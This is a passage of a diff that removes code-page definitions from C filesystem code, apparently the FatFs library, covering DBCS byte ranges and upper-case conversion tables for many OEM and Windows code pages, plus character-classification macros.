0x7E -#define _DS2S 0x80 -#define _DS2E 0xFE - -#elif _CODE_PAGE == 949 /* Korean */ -#define _DF1S 0x81 -#define _DF1E 0xFE -#define _DS1S 0x41 -#define _DS1E 0x5A -#define _DS2S 0x61 -#define _DS2E 0x7A -#define _DS3S 0x81 -#define _DS3E 0xFE - -#elif _CODE_PAGE == 950 /* Traditional Chinese Big5 */ -#define _DF1S 0x81 -#define _DF1E 0xFE -#define _DS1S 0x40 -#define _DS1E 0x7E -#define _DS2S 0xA1 -#define _DS2E 0xFE - -#elif _CODE_PAGE == 437 /* U.S. (OEM) */ -#define _DF1S 0 -#define _EXCVT {0x80,0x9A,0x90,0x41,0x8E,0x41,0x8F,0x80,0x45,0x45,0x45,0x49,0x49,0x49,0x8E,0x8F,0x90,0x92,0x92,0x4F,0x99,0x4F,0x55,0x55,0x59,0x99,0x9A,0x9B,0x9C,0x9D,0x9E,0x9F, \ - 0x41,0x49,0x4F,0x55,0xA5,0xA5,0xA6,0xA7,0xA8,0xA9,0xAA,0xAB,0xAC,0x21,0xAE,0xAF,0xB0,0xB1,0xB2,0xB3,0xB4,0xB5,0xB6,0xB7,0xB8,0xB9,0xBA,0xBB,0xBC,0xBD,0xBE,0xBF, \ - 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC6,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,0xD0,0xD1,0xD2,0xD3,0xD4,0xD5,0xD6,0xD7,0xD8,0xD9,0xDA,0xDB,0xDC,0xDD,0xDE,0xDF, \ - 0xE0,0xE1,0xE2,0xE3,0xE4,0xE5,0xE6,0xE7,0xE8,0xE9,0xEA,0xEB,0xEC,0xED,0xEE,0xEF,0xF0,0xF1,0xF2,0xF3,0xF4,0xF5,0xF6,0xF7,0xF8,0xF9,0xFA,0xFB,0xFC,0xFD,0xFE,0xFF} - -#elif _CODE_PAGE == 720 /* Arabic (OEM) */ -#define _DF1S 0 -#define _EXCVT {0x80,0x81,0x45,0x41,0x84,0x41,0x86,0x43,0x45,0x45,0x45,0x49,0x49,0x8D,0x8E,0x8F,0x90,0x92,0x92,0x93,0x94,0x95,0x49,0x49,0x98,0x99,0x9A,0x9B,0x9C,0x9D,0x9E,0x9F, \ - 0xA0,0xA1,0xA2,0xA3,0xA4,0xA5,0xA6,0xA7,0xA8,0xA9,0xAA,0xAB,0xAC,0xAD,0xAE,0xAF,0xB0,0xB1,0xB2,0xB3,0xB4,0xB5,0xB6,0xB7,0xB8,0xB9,0xBA,0xBB,0xBC,0xBD,0xBE,0xBF, \ - 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC6,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,0xD0,0xD1,0xD2,0xD3,0xD4,0xD5,0xD6,0xD7,0xD8,0xD9,0xDA,0xDB,0xDC,0xDD,0xDE,0xDF, \ - 0xE0,0xE1,0xE2,0xE3,0xE4,0xE5,0xE6,0xE7,0xE8,0xE9,0xEA,0xEB,0xEC,0xED,0xEE,0xEF,0xF0,0xF1,0xF2,0xF3,0xF4,0xF5,0xF6,0xF7,0xF8,0xF9,0xFA,0xFB,0xFC,0xFD,0xFE,0xFF} - -#elif _CODE_PAGE == 737 /* Greek (OEM) */ -#define _DF1S 0 -#define _EXCVT {0x80,0x81,0x82,0x83,0x84,0x85,0x86,0x87,0x88,0x89,0x8A,0x8B,0x8C,0x8D,0x8E,0x8F,0x90,0x92,0x92,0x93,0x94,0x95,0x96,0x97,0x80,0x81,0x82,0x83,0x84,0x85,0x86,0x87, \ - 0x88,0x89,0x8A,0x8B,0x8C,0x8D,0x8E,0x8F,0x90,0x91,0xAA,0x92,0x93,0x94,0x95,0x96,0xB0,0xB1,0xB2,0xB3,0xB4,0xB5,0xB6,0xB7,0xB8,0xB9,0xBA,0xBB,0xBC,0xBD,0xBE,0xBF, \ - 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC6,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,0xD0,0xD1,0xD2,0xD3,0xD4,0xD5,0xD6,0xD7,0xD8,0xD9,0xDA,0xDB,0xDC,0xDD,0xDE,0xDF, \ - 0x97,0xEA,0xEB,0xEC,0xE4,0xED,0xEE,0xE7,0xE8,0xF1,0xEA,0xEB,0xEC,0xED,0xEE,0xEF,0xF0,0xF1,0xF2,0xF3,0xF4,0xF5,0xF6,0xF7,0xF8,0xF9,0xFA,0xFB,0xFC,0xFD,0xFE,0xFF} - -#elif _CODE_PAGE == 775 /* Baltic (OEM) */ -#define _DF1S 0 -#define _EXCVT {0x80,0x9A,0x91,0xA0,0x8E,0x95,0x8F,0x80,0xAD,0xED,0x8A,0x8A,0xA1,0x8D,0x8E,0x8F,0x90,0x92,0x92,0xE2,0x99,0x95,0x96,0x97,0x97,0x99,0x9A,0x9D,0x9C,0x9D,0x9E,0x9F, \ - 0xA0,0xA1,0xE0,0xA3,0xA3,0xA5,0xA6,0xA7,0xA8,0xA9,0xAA,0xAB,0xAC,0xAD,0xAE,0xAF,0xB0,0xB1,0xB2,0xB3,0xB4,0xB5,0xB6,0xB7,0xB8,0xB9,0xBA,0xBB,0xBC,0xBD,0xBE,0xBF, \ - 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC6,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,0xB5,0xB6,0xB7,0xB8,0xBD,0xBE,0xC6,0xC7,0xA5,0xD9,0xDA,0xDB,0xDC,0xDD,0xDE,0xDF, \ - 0xE0,0xE1,0xE2,0xE3,0xE5,0xE5,0xE6,0xE3,0xE8,0xE8,0xEA,0xEA,0xEE,0xED,0xEE,0xEF,0xF0,0xF1,0xF2,0xF3,0xF4,0xF5,0xF6,0xF7,0xF8,0xF9,0xFA,0xFB,0xFC,0xFD,0xFE,0xFF} - -#elif _CODE_PAGE == 850 /* Multilingual Latin 1 (OEM) */ -#define _DF1S 0 -#define _EXCVT {0x80,0x9A,0x90,0xB6,0x8E,0xB7,0x8F,0x80,0xD2,0xD3,0xD4,0xD8,0xD7,0xDE,0x8E,0x8F,0x90,0x92,0x92,0xE2,0x99,0xE3,0xEA,0xEB,0x59,0x99,0x9A,0x9D,0x9C,0x9D,0x9E,0x9F, \ - 0xB5,0xD6,0xE0,0xE9,0xA5,0xA5,0xA6,0xA7,0xA8,0xA9,0xAA,0xAB,0xAC,0x21,0xAE,0xAF,0xB0,0xB1,0xB2,0xB3,0xB4,0xB5,0xB6,0xB7,0xB8,0xB9,0xBA,0xBB,0xBC,0xBD,0xBE,0xBF, \ - 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC7,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,0xD0,0xD1,0xD2,0xD3,0xD4,0xD5,0xD6,0xD7,0xD8,0xD9,0xDA,0xDB,0xDC,0xDD,0xDE,0xDF, \ - 0xE0,0xE1,0xE2,0xE3,0xE5,0xE5,0xE6,0xE7,0xE7,0xE9,0xEA,0xEB,0xED,0xED,0xEE,0xEF,0xF0,0xF1,0xF2,0xF3,0xF4,0xF5,0xF6,0xF7,0xF8,0xF9,0xFA,0xFB,0xFC,0xFD,0xFE,0xFF} - -#elif _CODE_PAGE == 852 /* Latin 2 (OEM) */ -#define _DF1S 0 -#define _EXCVT {0x80,0x9A,0x90,0xB6,0x8E,0xDE,0x8F,0x80,0x9D,0xD3,0x8A,0x8A,0xD7,0x8D,0x8E,0x8F,0x90,0x91,0x91,0xE2,0x99,0x95,0x95,0x97,0x97,0x99,0x9A,0x9B,0x9B,0x9D,0x9E,0x9F, \ - 0xB5,0xD6,0xE0,0xE9,0xA4,0xA4,0xA6,0xA6,0xA8,0xA8,0xAA,0x8D,0xAC,0xB8,0xAE,0xAF,0xB0,0xB1,0xB2,0xB3,0xB4,0xB5,0xB6,0xB7,0xB8,0xB9,0xBA,0xBB,0xBC,0xBD,0xBD,0xBF, \ - 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC6,0xC6,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,0xD1,0xD1,0xD2,0xD3,0xD2,0xD5,0xD6,0xD7,0xB7,0xD9,0xDA,0xDB,0xDC,0xDD,0xDE,0xDF, \ - 0xE0,0xE1,0xE2,0xE3,0xE3,0xD5,0xE6,0xE6,0xE8,0xE9,0xE8,0xEB,0xED,0xED,0xDD,0xEF,0xF0,0xF1,0xF2,0xF3,0xF4,0xF5,0xF6,0xF7,0xF8,0xF9,0xFA,0xEB,0xFC,0xFC,0xFE,0xFF} - -#elif _CODE_PAGE == 855 /* Cyrillic (OEM) */ -#define _DF1S 0 -#define _EXCVT {0x81,0x81,0x83,0x83,0x85,0x85,0x87,0x87,0x89,0x89,0x8B,0x8B,0x8D,0x8D,0x8F,0x8F,0x91,0x91,0x93,0x93,0x95,0x95,0x97,0x97,0x99,0x99,0x9B,0x9B,0x9D,0x9D,0x9F,0x9F, \ - 0xA1,0xA1,0xA3,0xA3,0xA5,0xA5,0xA7,0xA7,0xA9,0xA9,0xAB,0xAB,0xAD,0xAD,0xAE,0xAF,0xB0,0xB1,0xB2,0xB3,0xB4,0xB6,0xB6,0xB8,0xB8,0xB9,0xBA,0xBB,0xBC,0xBE,0xBE,0xBF, \ - 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC7,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,0xD1,0xD1,0xD3,0xD3,0xD5,0xD5,0xD7,0xD7,0xDD,0xD9,0xDA,0xDB,0xDC,0xDD,0xE0,0xDF, \ - 0xE0,0xE2,0xE2,0xE4,0xE4,0xE6,0xE6,0xE8,0xE8,0xEA,0xEA,0xEC,0xEC,0xEE,0xEE,0xEF,0xF0,0xF2,0xF2,0xF4,0xF4,0xF6,0xF6,0xF8,0xF8,0xFA,0xFA,0xFC,0xFC,0xFD,0xFE,0xFF} - -#elif _CODE_PAGE == 857 /* Turkish (OEM) */ -#define _DF1S 0 -#define _EXCVT {0x80,0x9A,0x90,0xB6,0x8E,0xB7,0x8F,0x80,0xD2,0xD3,0xD4,0xD8,0xD7,0x98,0x8E,0x8F,0x90,0x92,0x92,0xE2,0x99,0xE3,0xEA,0xEB,0x98,0x99,0x9A,0x9D,0x9C,0x9D,0x9E,0x9E, \ - 0xB5,0xD6,0xE0,0xE9,0xA5,0xA5,0xA6,0xA6,0xA8,0xA9,0xAA,0xAB,0xAC,0x21,0xAE,0xAF,0xB0,0xB1,0xB2,0xB3,0xB4,0xB5,0xB6,0xB7,0xB8,0xB9,0xBA,0xBB,0xBC,0xBD,0xBE,0xBF, \ - 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC7,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,0xD0,0xD1,0xD2,0xD3,0xD4,0xD5,0xD6,0xD7,0xD8,0xD9,0xDA,0xDB,0xDC,0xDD,0xDE,0xDF, \ - 0xE0,0xE1,0xE2,0xE3,0xE5,0xE5,0xE6,0xE7,0xE8,0xE9,0xEA,0xEB,0xDE,0x59,0xEE,0xEF,0xF0,0xF1,0xF2,0xF3,0xF4,0xF5,0xF6,0xF7,0xF8,0xF9,0xFA,0xFB,0xFC,0xFD,0xFE,0xFF} - -#elif _CODE_PAGE == 858 /* Multilingual Latin 1 + Euro (OEM) */ -#define _DF1S 0 -#define _EXCVT {0x80,0x9A,0x90,0xB6,0x8E,0xB7,0x8F,0x80,0xD2,0xD3,0xD4,0xD8,0xD7,0xDE,0x8E,0x8F,0x90,0x92,0x92,0xE2,0x99,0xE3,0xEA,0xEB,0x59,0x99,0x9A,0x9D,0x9C,0x9D,0x9E,0x9F, \ - 0xB5,0xD6,0xE0,0xE9,0xA5,0xA5,0xA6,0xA7,0xA8,0xA9,0xAA,0xAB,0xAC,0x21,0xAE,0xAF,0xB0,0xB1,0xB2,0xB3,0xB4,0xB5,0xB6,0xB7,0xB8,0xB9,0xBA,0xBB,0xBC,0xBD,0xBE,0xBF, \ - 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC7,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,0xD1,0xD1,0xD2,0xD3,0xD4,0xD5,0xD6,0xD7,0xD8,0xD9,0xDA,0xDB,0xDC,0xDD,0xDE,0xDF, \ - 0xE0,0xE1,0xE2,0xE3,0xE5,0xE5,0xE6,0xE7,0xE7,0xE9,0xEA,0xEB,0xED,0xED,0xEE,0xEF,0xF0,0xF1,0xF2,0xF3,0xF4,0xF5,0xF6,0xF7,0xF8,0xF9,0xFA,0xFB,0xFC,0xFD,0xFE,0xFF} - -#elif _CODE_PAGE == 862 /* Hebrew (OEM) */ -#define _DF1S 0 -#define _EXCVT {0x80,0x81,0x82,0x83,0x84,0x85,0x86,0x87,0x88,0x89,0x8A,0x8B,0x8C,0x8D,0x8E,0x8F,0x90,0x91,0x92,0x93,0x94,0x95,0x96,0x97,0x98,0x99,0x9A,0x9B,0x9C,0x9D,0x9E,0x9F, \ - 0x41,0x49,0x4F,0x55,0xA5,0xA5,0xA6,0xA7,0xA8,0xA9,0xAA,0xAB,0xAC,0x21,0xAE,0xAF,0xB0,0xB1,0xB2,0xB3,0xB4,0xB5,0xB6,0xB7,0xB8,0xB9,0xBA,0xBB,0xBC,0xBD,0xBE,0xBF, \ - 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC6,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,0xD0,0xD1,0xD2,0xD3,0xD4,0xD5,0xD6,0xD7,0xD8,0xD9,0xDA,0xDB,0xDC,0xDD,0xDE,0xDF, \ - 0xE0,0xE1,0xE2,0xE3,0xE4,0xE5,0xE6,0xE7,0xE8,0xE9,0xEA,0xEB,0xEC,0xED,0xEE,0xEF,0xF0,0xF1,0xF2,0xF3,0xF4,0xF5,0xF6,0xF7,0xF8,0xF9,0xFA,0xFB,0xFC,0xFD,0xFE,0xFF} - -#elif _CODE_PAGE == 866 /* Russian (OEM) */ -#define _DF1S 0 -#define _EXCVT {0x80,0x81,0x82,0x83,0x84,0x85,0x86,0x87,0x88,0x89,0x8A,0x8B,0x8C,0x8D,0x8E,0x8F,0x90,0x91,0x92,0x93,0x94,0x95,0x96,0x97,0x98,0x99,0x9A,0x9B,0x9C,0x9D,0x9E,0x9F, \ - 0x80,0x81,0x82,0x83,0x84,0x85,0x86,0x87,0x88,0x89,0x8A,0x8B,0x8C,0x8D,0x8E,0x8F,0xB0,0xB1,0xB2,0xB3,0xB4,0xB5,0xB6,0xB7,0xB8,0xB9,0xBA,0xBB,0xBC,0xBD,0xBE,0xBF, \ - 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC6,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,0xD0,0xD1,0xD2,0xD3,0xD4,0xD5,0xD6,0xD7,0xD8,0xD9,0xDA,0xDB,0xDC,0xDD,0xDE,0xDF, \ - 0x90,0x91,0x92,0x93,0x9d,0x95,0x96,0x97,0x98,0x99,0x9A,0x9B,0x9C,0x9D,0x9E,0x9F,0xF0,0xF0,0xF2,0xF2,0xF4,0xF4,0xF6,0xF6,0xF8,0xF9,0xFA,0xFB,0xFC,0xFD,0xFE,0xFF} - -#elif _CODE_PAGE == 874 /* Thai (OEM, Windows) */ -#define _DF1S 0 -#define _EXCVT {0x80,0x81,0x82,0x83,0x84,0x85,0x86,0x87,0x88,0x89,0x8A,0x8B,0x8C,0x8D,0x8E,0x8F,0x90,0x91,0x92,0x93,0x94,0x95,0x96,0x97,0x98,0x99,0x9A,0x9B,0x9C,0x9D,0x9E,0x9F, \ - 0xA0,0xA1,0xA2,0xA3,0xA4,0xA5,0xA6,0xA7,0xA8,0xA9,0xAA,0xAB,0xAC,0xAD,0xAE,0xAF,0xB0,0xB1,0xB2,0xB3,0xB4,0xB5,0xB6,0xB7,0xB8,0xB9,0xBA,0xBB,0xBC,0xBD,0xBE,0xBF, \ - 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC6,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,0xD0,0xD1,0xD2,0xD3,0xD4,0xD5,0xD6,0xD7,0xD8,0xD9,0xDA,0xDB,0xDC,0xDD,0xDE,0xDF, \ - 0xE0,0xE1,0xE2,0xE3,0xE4,0xE5,0xE6,0xE7,0xE8,0xE9,0xEA,0xEB,0xEC,0xED,0xEE,0xEF,0xF0,0xF1,0xF2,0xF3,0xF4,0xF5,0xF6,0xF7,0xF8,0xF9,0xFA,0xFB,0xFC,0xFD,0xFE,0xFF} - -#elif _CODE_PAGE == 1250 /* Central Europe (Windows) */ -#define _DF1S 0 -#define _EXCVT {0x80,0x81,0x82,0x83,0x84,0x85,0x86,0x87,0x88,0x89,0x8A,0x8B,0x8C,0x8D,0x8E,0x8F,0x90,0x91,0x92,0x93,0x94,0x95,0x96,0x97,0x98,0x99,0x8A,0x9B,0x8C,0x8D,0x8E,0x8F, \ - 0xA0,0xA1,0xA2,0xA3,0xA4,0xA5,0xA6,0xA7,0xA8,0xA9,0xAA,0xAB,0xAC,0xAD,0xAE,0xAF,0xB0,0xB1,0xB2,0xA3,0xB4,0xB5,0xB6,0xB7,0xB8,0xA5,0xAA,0xBB,0xBC,0xBD,0xBC,0xAF, \ - 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC6,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,0xD0,0xD1,0xD2,0xD3,0xD4,0xD5,0xD6,0xD7,0xD8,0xD9,0xDA,0xDB,0xDC,0xDD,0xDE,0xDF, \ - 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC6,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,0xD0,0xD1,0xD2,0xD3,0xD4,0xD5,0xD6,0xF7,0xD8,0xD9,0xDA,0xDB,0xDC,0xDD,0xDE,0xFF} - -#elif _CODE_PAGE == 1251 /* Cyrillic (Windows) */ -#define _DF1S 0 -#define _EXCVT {0x80,0x81,0x82,0x82,0x84,0x85,0x86,0x87,0x88,0x89,0x8A,0x8B,0x8C,0x8D,0x8E,0x8F,0x80,0x91,0x92,0x93,0x94,0x95,0x96,0x97,0x98,0x99,0x8A,0x9B,0x8C,0x8D,0x8E,0x8F, \ - 0xA0,0xA2,0xA2,0xA3,0xA4,0xA5,0xA6,0xA7,0xA8,0xA9,0xAA,0xAB,0xAC,0xAD,0xAE,0xAF,0xB0,0xB1,0xB2,0xB2,0xA5,0xB5,0xB6,0xB7,0xA8,0xB9,0xAA,0xBB,0xA3,0xBD,0xBD,0xAF, \ - 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC6,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,0xD0,0xD1,0xD2,0xD3,0xD4,0xD5,0xD6,0xD7,0xD8,0xD9,0xDA,0xDB,0xDC,0xDD,0xDE,0xDF, \ - 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC6,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,0xD0,0xD1,0xD2,0xD3,0xD4,0xD5,0xD6,0xD7,0xD8,0xD9,0xDA,0xDB,0xDC,0xDD,0xDE,0xDF} - -#elif _CODE_PAGE == 1252 /* Latin 1 (Windows) */ -#define _DF1S 0 -#define _EXCVT {0x80,0x81,0x82,0x83,0x84,0x85,0x86,0x87,0x88,0x89,0x8A,0x8B,0x8C,0x8D,0x8E,0x8F,0x90,0x91,0x92,0x93,0x94,0x95,0x96,0x97,0x98,0x99,0xAd,0x9B,0x8C,0x9D,0xAE,0x9F, \ - 0xA0,0x21,0xA2,0xA3,0xA4,0xA5,0xA6,0xA7,0xA8,0xA9,0xAA,0xAB,0xAC,0xAD,0xAE,0xAF,0xB0,0xB1,0xB2,0xB3,0xB4,0xB5,0xB6,0xB7,0xB8,0xB9,0xBA,0xBB,0xBC,0xBD,0xBE,0xBF, \ - 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC6,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,0xD0,0xD1,0xD2,0xD3,0xD4,0xD5,0xD6,0xD7,0xD8,0xD9,0xDA,0xDB,0xDC,0xDD,0xDE,0xDF, \ - 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC6,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,0xD0,0xD1,0xD2,0xD3,0xD4,0xD5,0xD6,0xF7,0xD8,0xD9,0xDA,0xDB,0xDC,0xDD,0xDE,0x9F} - -#elif _CODE_PAGE == 1253 /* Greek (Windows) */ -#define _DF1S 0 -#define _EXCVT {0x80,0x81,0x82,0x83,0x84,0x85,0x86,0x87,0x88,0x89,0x8A,0x8B,0x8C,0x8D,0x8E,0x8F,0x90,0x91,0x92,0x93,0x94,0x95,0x96,0x97,0x98,0x99,0x9A,0x9B,0x9C,0x9D,0x9E,0x9F, \ - 0xA0,0xA1,0xA2,0xA3,0xA4,0xA5,0xA6,0xA7,0xA8,0xA9,0xAA,0xAB,0xAC,0xAD,0xAE,0xAF,0xB0,0xB1,0xB2,0xB3,0xB4,0xB5,0xB6,0xB7,0xB8,0xB9,0xBA,0xBB,0xBC,0xBD,0xBE,0xBF, \ - 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC6,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,0xD0,0xD1,0xD2,0xD3,0xD4,0xD5,0xD6,0xD7,0xD8,0xD9,0xDA,0xDB,0xA2,0xB8,0xB9,0xBA, \ - 0xE0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC6,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,0xD0,0xD1,0xF2,0xD3,0xD4,0xD5,0xD6,0xD7,0xD8,0xD9,0xDA,0xFB,0xBC,0xFD,0xBF,0xFF} - -#elif _CODE_PAGE == 1254 /* Turkish (Windows) */ -#define _DF1S 0 -#define _EXCVT {0x80,0x81,0x82,0x83,0x84,0x85,0x86,0x87,0x88,0x89,0x8A,0x8B,0x8C,0x8D,0x8E,0x8F,0x90,0x91,0x92,0x93,0x94,0x95,0x96,0x97,0x98,0x99,0x8A,0x9B,0x8C,0x9D,0x9E,0x9F, \ - 0xA0,0x21,0xA2,0xA3,0xA4,0xA5,0xA6,0xA7,0xA8,0xA9,0xAA,0xAB,0xAC,0xAD,0xAE,0xAF,0xB0,0xB1,0xB2,0xB3,0xB4,0xB5,0xB6,0xB7,0xB8,0xB9,0xBA,0xBB,0xBC,0xBD,0xBE,0xBF, \ - 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC6,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,0xD0,0xD1,0xD2,0xD3,0xD4,0xD5,0xD6,0xD7,0xD8,0xD9,0xDA,0xDB,0xDC,0xDD,0xDE,0xDF, \ - 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC6,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,0xD0,0xD1,0xD2,0xD3,0xD4,0xD5,0xD6,0xF7,0xD8,0xD9,0xDA,0xDB,0xDC,0xDD,0xDE,0x9F} - -#elif _CODE_PAGE == 1255 /* Hebrew (Windows) */ -#define _DF1S 0 -#define _EXCVT {0x80,0x81,0x82,0x83,0x84,0x85,0x86,0x87,0x88,0x89,0x8A,0x8B,0x8C,0x8D,0x8E,0x8F,0x90,0x91,0x92,0x93,0x94,0x95,0x96,0x97,0x98,0x99,0x9A,0x9B,0x9C,0x9D,0x9E,0x9F, \ - 0xA0,0x21,0xA2,0xA3,0xA4,0xA5,0xA6,0xA7,0xA8,0xA9,0xAA,0xAB,0xAC,0xAD,0xAE,0xAF,0xB0,0xB1,0xB2,0xB3,0xB4,0xB5,0xB6,0xB7,0xB8,0xB9,0xBA,0xBB,0xBC,0xBD,0xBE,0xBF, \ - 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC6,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,0xD0,0xD1,0xD2,0xD3,0xD4,0xD5,0xD6,0xD7,0xD8,0xD9,0xDA,0xDB,0xDC,0xDD,0xDE,0xDF, \ - 0xE0,0xE1,0xE2,0xE3,0xE4,0xE5,0xE6,0xE7,0xE8,0xE9,0xEA,0xEB,0xEC,0xED,0xEE,0xEF,0xF0,0xF1,0xF2,0xF3,0xF4,0xF5,0xF6,0xF7,0xF8,0xF9,0xFA,0xFB,0xFC,0xFD,0xFE,0xFF} - -#elif _CODE_PAGE == 1256 /* Arabic (Windows) */ -#define _DF1S 0 -#define _EXCVT {0x80,0x81,0x82,0x83,0x84,0x85,0x86,0x87,0x88,0x89,0x8A,0x8B,0x8C,0x8D,0x8E,0x8F,0x90,0x91,0x92,0x93,0x94,0x95,0x96,0x97,0x98,0x99,0x9A,0x9B,0x8C,0x9D,0x9E,0x9F, \ - 0xA0,0xA1,0xA2,0xA3,0xA4,0xA5,0xA6,0xA7,0xA8,0xA9,0xAA,0xAB,0xAC,0xAD,0xAE,0xAF,0xB0,0xB1,0xB2,0xB3,0xB4,0xB5,0xB6,0xB7,0xB8,0xB9,0xBA,0xBB,0xBC,0xBD,0xBE,0xBF, \ - 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC6,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,0xD0,0xD1,0xD2,0xD3,0xD4,0xD5,0xD6,0xD7,0xD8,0xD9,0xDA,0xDB,0xDC,0xDD,0xDE,0xDF, \ - 0x41,0xE1,0x41,0xE3,0xE4,0xE5,0xE6,0x43,0x45,0x45,0x45,0x45,0xEC,0xED,0x49,0x49,0xF0,0xF1,0xF2,0xF3,0x4F,0xF5,0xF6,0xF7,0xF8,0x55,0xFA,0x55,0x55,0xFD,0xFE,0xFF} - -#elif _CODE_PAGE == 1257 /* Baltic (Windows) */ -#define _DF1S 0 -#define _EXCVT {0x80,0x81,0x82,0x83,0x84,0x85,0x86,0x87,0x88,0x89,0x8A,0x8B,0x8C,0x8D,0x8E,0x8F,0x90,0x91,0x92,0x93,0x94,0x95,0x96,0x97,0x98,0x99,0x9A,0x9B,0x9C,0x9D,0x9E,0x9F, \ - 0xA0,0xA1,0xA2,0xA3,0xA4,0xA5,0xA6,0xA7,0xA8,0xA9,0xAA,0xAB,0xAC,0xAD,0xAE,0xAF,0xB0,0xB1,0xB2,0xB3,0xB4,0xB5,0xB6,0xB7,0xA8,0xB9,0xAA,0xBB,0xBC,0xBD,0xBE,0xAF, \ - 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC6,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,0xD0,0xD1,0xD2,0xD3,0xD4,0xD5,0xD6,0xD7,0xD8,0xD9,0xDA,0xDB,0xDC,0xDD,0xDE,0xDF, \ - 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC6,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,0xD0,0xD1,0xD2,0xD3,0xD4,0xD5,0xD6,0xF7,0xD8,0xD9,0xDA,0xDB,0xDC,0xDD,0xDE,0xFF} - -#elif _CODE_PAGE == 1258 /* Vietnam (OEM, Windows) */ -#define _DF1S 0 -#define _EXCVT {0x80,0x81,0x82,0x83,0x84,0x85,0x86,0x87,0x88,0x89,0x8A,0x8B,0x8C,0x8D,0x8E,0x8F,0x90,0x91,0x92,0x93,0x94,0x95,0x96,0x97,0x98,0x99,0x9A,0x9B,0xAC,0x9D,0x9E,0x9F, \ - 0xA0,0x21,0xA2,0xA3,0xA4,0xA5,0xA6,0xA7,0xA8,0xA9,0xAA,0xAB,0xAC,0xAD,0xAE,0xAF,0xB0,0xB1,0xB2,0xB3,0xB4,0xB5,0xB6,0xB7,0xB8,0xB9,0xBA,0xBB,0xBC,0xBD,0xBE,0xBF, \ - 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC6,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,0xD0,0xD1,0xD2,0xD3,0xD4,0xD5,0xD6,0xD7,0xD8,0xD9,0xDA,0xDB,0xDC,0xDD,0xDE,0xDF, \ - 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC6,0xC7,0xC8,0xC9,0xCA,0xCB,0xEC,0xCD,0xCE,0xCF,0xD0,0xD1,0xF2,0xD3,0xD4,0xD5,0xD6,0xF7,0xD8,0xD9,0xDA,0xDB,0xDC,0xDD,0xFE,0x9F} - -#elif _CODE_PAGE == 1 /* ASCII (for only non-LFN cfg) */ -#if _USE_LFN -#error Cannot use LFN feature without valid code page. -#endif -#define _DF1S 0 - -#else -#error Unknown code page - -#endif - - -/* Character code support macros */ -#define IsUpper(c) (((c)>='A')&&((c)<='Z')) -#define IsLower(c) (((c)>='a')&&((c)<='z')) -#define IsDigit(c) (((c)>='0')&&((c)<='9')) - -#if _DF1S /* Code page is DBCS */ - -#ifdef _DF2S /* Two 1st byte areas */ -#define IsDBCS1(c) (((BYTE)(c) >= _DF1S && (BYTE)(c) <= _DF1E) || ((BYTE)(c) >= _DF2S && (BYTE)(c) <= _DF2E)) -#else /* One 1st byte area */ -#define 